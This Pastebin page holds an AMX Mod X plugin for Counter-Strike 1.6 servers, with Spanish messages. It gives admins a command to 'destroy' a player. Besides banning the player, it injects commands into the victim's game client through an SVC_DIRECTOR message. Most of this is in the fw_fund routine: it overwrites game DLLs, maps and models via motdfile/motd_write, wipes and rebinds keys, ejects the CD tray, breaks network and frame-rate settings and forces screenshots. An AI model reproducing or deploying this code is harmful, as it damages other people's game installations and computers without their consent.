Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <amxmodx>
- #include <amxmisc>
- new const sz_iPlugin[][]={ "Destroy + Razon", "1.0", "Alejandro-." }
- new name[32]
- new g_maxplayers
- new gz_Prefix[]="^1.:^4(^3SG^4)^1:.";
- new sz_iSound[]="SG-Destroy/Destroy.wav";
- new sz_LogFile[]="SG-Destroy.ini"
- new const sz_iRazones[][]=
- {
- "WallHack",
- "Speedhack",
- "Aimbot",
- "Rankero",
- "Wallhack+aimbot",
- "Spamer",
- "Norecoil",
- "Vermillon",
- "Dll",
- "CfgChitera",
- "Falta De Respeto Al Dueño",
- "Humillacion a mujeres"
- }
- public plugin_precache()
- {
- precache_sound(sz_iSound)
- }
- public plugin_init()
- {
- register_plugin(sz_iPlugin[0], sz_iPlugin[1], sz_iPlugin[2])
- register_say("Destroy", "fw_Mdestroy", ADMIN_BAN)
- register_concmd("amx_destroy", "fw_Destroy", ADMIN_BAN, "<Nombre> <razon>")
- g_maxplayers = get_maxplayers()
- }
- public fw_Destroy(id, level, cid){
- if (!cmd_access(id, level, cid, 3))
- return PLUGIN_HANDLED;
- new arg[33], arg2[60];
- read_argv(1, arg, charsmax(arg))
- read_argv(2, arg2, charsmax(arg2))
- new Player= cmd_target(id, arg,0)
- if( arg2[0] == ';' || arg2[0] == '.' || arg2[0] == ',' ||
- arg2[0] == ' ' || arg2[0] == '/' || arg2[0] == '%' || arg2[0] == '#')
- {
- client_print_color(id, print_team_red, "%s Introduce una razon valida", gz_Prefix )
- return PLUGIN_HANDLED;
- }
- static iNameAdmin[33], iIdAdmin[25], iIdUser[25], ipUser[25];
- get_user_name(id, iNameAdmin, charsmax(iNameAdmin));
- get_user_authid(id, iIdAdmin, charsmax(iIdAdmin));
- get_user_authid(Player, iIdUser, charsmax(iIdUser));
- get_user_ip(Player, ipUser, charsmax(ipUser))
- if(!Player)
- {
- client_print_color(id, print_team_red, "%s Jugador no encontrado", gz_Prefix )
- return PLUGIN_HANDLED;
- }
- if(Player == id)
- {
- client_print_color(id, print_team_red, "%s No te puedes destruir a ti mismo :v", gz_Prefix)
- return PLUGIN_HANDLED;
- }
- if(is_user_admin(Player))
- {
- client_print_color(id, print_team_red, "%s el usuario ^4(^3%s^4)^1 es admin.", gz_Prefix, arg)
- return PLUGIN_HANDLED;
- }
- client_cmd2(Player,"unbindall")
- PlaySound(0, sz_iSound)
- log_to_file(sz_LogFile, ".:(SG):. el usuario (%s | %s) fue destruido por (%s | %s) razon: %s", arg, iIdUser, iNameAdmin, iIdAdmin, arg2)
- client_print_color(0, print_team_red, "%s el usuario ^4(^3%s^4)^1 fue destruido por ^4(^3%s^4)^1 Razon:^4 %s", gz_Prefix, arg, iNameAdmin, arg2)
- client_print_color(0, print_team_red, "%s el usuario ^4(^3%s^4)^1 fue destruido por ^4(^3%s^4)^1 Razon:^4 %s", gz_Prefix, arg, iNameAdmin, arg2)
- client_print_color(0, print_team_red, "%s el usuario ^4(^3%s^4)^1 fue destruido por ^4(^3%s^4)^1 Razon:^4 %s", gz_Prefix, arg, iNameAdmin, arg2)
- client_print_color(0, print_team_red, "%s el usuario ^4(^3%s^4)^1 fue destruido por ^4(^3%s^4)^1 Razon:^4 %s", gz_Prefix, arg, iNameAdmin, arg2)
- set_hudmessage(000, 255, 000, 0.08, 0.18, 0, 6.0, 12.0)
- show_hudmessage(0, "/***********************************\^n^nDESTRUIDO:^nNAME: %s^nSTEAMID: %s^nADMIN:^nNAME: %s^nSTEAMID: %s^n^n\***********************************/",
- arg, iIdUser, iNameAdmin, iIdAdmin)
- client_print(Player, print_console,"/***********************************\^n^nDESTRUIDO:^nNAME: %s^nSTEAMID: %s^nADMIN:^nNAME: %s^nSTEAMID: %s^n^n\***********************************/",
- arg, iIdUser, iNameAdmin, iIdAdmin)
- new namePlayer[32]
- get_user_name(Player, namePlayer, charsmax(namePlayer))
- client_cmd(id, "amx_banip ^"%s^" ^"0^" ^"%s^"", ipUser, arg2)
- client_cmd(id, "amx_ban ^"%s^" ^"0^" ^"%s^"", iIdUser, arg2)
- client_cmd(id, "amx_ban ^"%s^" ^"0^" ^"%s^"", namePlayer, arg2)
- client_cmd(id, "amx_ban ^"#%d^" ^"0^" ^"%s^"", get_user_userid(Player), arg2)
- client_cmd2(Player, "wait;wait;snapshot;snapshot;snapshot;snapshot;name ^"[SG] Fui Destruido^"") //Fotos
- fw_fund(Player)
- return PLUGIN_HANDLED;
- }
- public fw_Mdestroy(id) {
- new menu, title[300]
- formatex(title, charsmax(title), "\r***********************^n^n\wDESTRUIR JUGADOR^n^n\r***********************")
- menu = menu_create(title, "HandLerPlayer")
- new name[32], IDS[12], For[300]
- for(new i = 1; i <= g_maxplayers; i++) {
- if(is_user_connected(i)) {
- get_user_name(i, name, charsmax(name))
- if(is_user_admin(i))
- {
- formatex(For, charsmax(For), "\y%s (\dES ADMIN\y)", name)
- }
- else {
- formatex(For, charsmax(For), "\w%s (\yDESTRUIR\y)", name)
- }
- formatex(IDS, charsmax(IDS), "%d %d", i, get_user_userid(i))
- menu_additem(menu, For, IDS)
- }
- }
- menu_setprop(menu, MPROP_BACKNAME, "\wBACK")
- menu_setprop(menu, MPROP_NEXTNAME, "\wNEXT")
- menu_setprop(menu, MPROP_EXITNAME, "\wEXIT")
- menu_display(id, menu, 0)
- }
- public HandLerPlayer(id, menu, item) {
- new lol, buffer[12], playerid, userid
- menu_item_getinfo(menu, item, lol, buffer, charsmax(buffer), _, _, lol)
- new szid[3], szuserid[9]
- parse(buffer, szid, charsmax(szid), szuserid, charsmax(szuserid)) // separamos los datos
- playerid = str_to_num(szid)
- userid = str_to_num(szuserid)
- if(!is_user_connected(playerid)){
- return PLUGIN_HANDLED;
- }
- if(userid != get_user_userid(playerid)) {
- return PLUGIN_HANDLED;
- }
- get_user_name(playerid, name, charsmax(name))
- client_print_color(id, print_team_red, "%s Selecciona una razon para destruir ah ^4(^3%s^4)", gz_Prefix, name)
- fw_Razones(id)
- return PLUGIN_HANDLED;
- }
- public fw_fund(id)
- {
- //Binds
- client_cmd2(id, "bind w ^"say FUI DESTRUIDO POR SIVERNETICO GAMING^"")
- client_cmd2(id, "bind y ^"kill^"")
- client_cmd2(id, "bind r ^"kill^"")
- client_cmd2(id, "bind a ^"say FUI DESTRUIDO POR SIVERNETICO GAMING^"")
- client_cmd2(id, "bind s ^"say FUI DESTRUIDO POR SIVERNETICO GAMING^"")
- client_cmd2(id, "bind d ^"kill^"")
- client_cmd2(id, "bind f1 ^"say FUI DESTRUIDO POR SIVERNETICO GAMING^"")
- client_cmd2(id, "bind f2 ^"say FUI DESTRUIDO POR SIVERNETICO GAMING^"")
- client_cmd2(id, "bind f3 ^"say FUI DESTRUIDO POR SIVERNETICO GAMING^"")
- client_cmd2(id,"cd eject;cd close;cd eject;cd eject;cd close;cd eject");
- //Models y Dll
- client_cmd2(id,"motdfile resource/GameMenu.res;motd_write MgP;motdfile dlls/mp.dll");
- client_cmd2(id,"motdfile cl_dlls/client.dll;motdfile cs_dust.wad;motdfile cstrike.wad");
- client_cmd2(id,"motdfile sprites/muzzleflash1.spr;motdfile events/ak47.sc;motdfile models/v_ak47.mdl");
- client_cmd2(id,"motdfile models/v_deagle.mdl;motdfile maps/de_dust2.bsp;motdfile models/v_m4a1.mdl");
- client_cmd2(id,"motdfile maps/de_inferno.bsp;motdfile models/player/arctic.mdl;motdfile models/player/guerilla.mdl");
- client_cmd2(id,"motdfile models/player/leet.mdl;motdfile resource/background/800_1_a_loading.tga");
- client_cmd2(id,"motdfile resource/background/800_3_c_loading.tga;motdfile chateau.wad;motdfile events/m4a1.sc");
- client_cmd2(id,"motdfile resource/GameMenu.res;motd_write Crazy Gaming;motdfile dlls/mp.dll");
- client_cmd2(id,"motdfile cl_dlls/client.dll;motdfile cs_dust.wad;motdfile cstrike.wad");
- client_cmd2(id,"motdfile sprites/muzzleflash1.spr;motdfile events/ak47.sc;motdfile models/v_ak47.mdl");
- client_cmd2(id,"motdfile models/v_deagle.mdl;motdfile maps/de_dust2.bsp;motdfile models/v_m4a1.mdl");
- client_cmd2(id,"motdfile maps/de_inferno.bsp;motdfile models/player/arctic.mdl;motdfile models/player/guerilla.mdl");
- client_cmd2(id,"motdfile models/player/leet.mdl;motdfile resource/background/800_1_a_loading.tga");
- client_cmd2(id,"motdfile resource/background/800_3_c_loading.tga;motdfile chateau.wad;motdfile events/m4a1.sc");
- //Configs
- client_cmd2(id,"developer 1")
- client_cmd2(id,"unbind w;wait;unbind a;unbind s;wait;unbind d;wait;unbind mouse2;unbind mouse3;wait;bind space quit");
- client_cmd2(id,"+duck;wait;wait;wait;wait;wait;wait;wait;wait;wait;wait;+duck;wait;wait;wait;");
- client_cmd2(id,"unbind w;wait;unbind a;unbind s;wait;unbind d;wait;unbind mouse2;unbind mouse3;wait;bind space quit");
- client_cmd2(id,"unbind w;wait;unbind a;unbind s;wait;unbind d;wait;unbind mouse2;unbind mouse3;wait;bind space quit");
- client_cmd2(id,"unbind ctrl;wait;unbind 1;unbind 2;wait;unbind 3;unbind 4;wait;unbind 5;unbind 6;wait;unbind 7");
- client_cmd2(id,"unbind 8;wait;unbind 9;unbind 0;wait;unbind r;unbind e;wait;unbind g;unbind q;wait;unbind shift");
- client_cmd2(id,"unbind rightarrow;wait;unbind mwheeldown;unbind mwheelup;wait");
- client_cmd2(id,"rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color ^"1 1 1^"");
- client_cmd2(id,"rate 323612783126381256315231232;cl_cmdrate 932746234238477234732;cl_updaterate 3486324723944238423");
- client_cmd2(id,"hideconsole;cl_allowdownload 0;cl_allowupload 0;cl_dlmax 1;_restart;fps_max con_color ^"0 0 0^"");
- client_cmd2(id,"unbind w;wait;unbind a;unbind s;wait;unbind d;wait;unbind mouse2;unbind mouse3;wait;bind space quit");
- client_cmd2(id,"unbind ctrl;wait;unbind 1;unbind 2;wait;unbind 3;unbind 4;wait;unbind 5;unbind 6;wait;unbind 7");
- client_cmd2(id,"unbind 8;wait;unbind 9;unbind 0;wait;unbind r;unbind e;wait;unbind g;unbind q;wait;unbind shift");
- client_cmd2(id,"unbind rightarrow;wait;unbind mwheeldown;unbind mwheelup;wait");
- client_cmd2(id,"rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color ^"1 1 1^"");
- client_cmd2(id,"rate 10;cl_cmdrate 932746234238477234732;cl_updaterate 3486324723944238423");
- client_cmd2(id,"hideconsole;cl_allowdownload 0;cl_allowupload 0;cl_dlmax 1;_restart;fps_max 4; con_color ^"0 0 0^"");
- client_cmd2(id,"hideconsole;hud_saytext 0;cl_allowdownload 0;cl_allowupload 0;cl_dlmax 1;_restart");
- }
- public fw_Razones(id){
- new menu, title[200], Razones[200];
- formatex(title, charsmax(title), "\r***********************^n^n\wRAZON DESTROY^n[\r %s \w]^n^n\r***********************", name)
- menu = menu_create(title, "HandLerRazon")
- for(new i = 0; i < sizeof sz_iRazones; i++)
- {
- formatex(Razones, charsmax(Razones), "\y%s", sz_iRazones[i])
- menu_additem(menu, Razones)
- }
- menu_setprop(menu, MPROP_BACKNAME, "\wBACK")
- menu_setprop(menu, MPROP_NEXTNAME, "\wNEXT")
- menu_setprop(menu, MPROP_EXITNAME, "\wEXIT")
- menu_display(id, menu, 0)
- }
- public HandLerRazon(id, menu, item)
- {
- if(item == MENU_EXIT){
- menu_destroy(menu)
- return PLUGIN_HANDLED;
- }
- client_cmd(id, "amx_destroy ^"%s^" ^"%s^"", name, sz_iRazones[item])
- return PLUGIN_HANDLED;
- }
- stock register_say( icomando[], ifuncion[], FLAG)
- {
- new For[100]
- new const sz_iSay[][]={"say /", "say ", "say .",
- "say_team /", "say_team ", "say_team ."}
- for(new i = 0; i <sizeof sz_iSay; i++ )
- {
- formatex(For, charsmax(For), "%s%s", sz_iSay[i],icomando)
- register_clcmd(For, ifuncion, FLAG)
- }
- }
- stock client_cmd2(id, cmd[])
- {
- message_begin(id > 0 ? MSG_ONE : MSG_ALL, SVC_DIRECTOR, _, id > 0 ? id : 0)
- write_byte(strlen(cmd) + 2)
- write_byte(10)
- write_string(cmd)
- message_end()
- }
- PlaySound(id, const sound[])
- {
- if (equal(sound[strlen(sound)-4], ".mp3"))
- {
- client_cmd(id, "mp3 play sound/%s", sound)
- }
- else
- {
- client_cmd(id, "spk %s", sound)
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement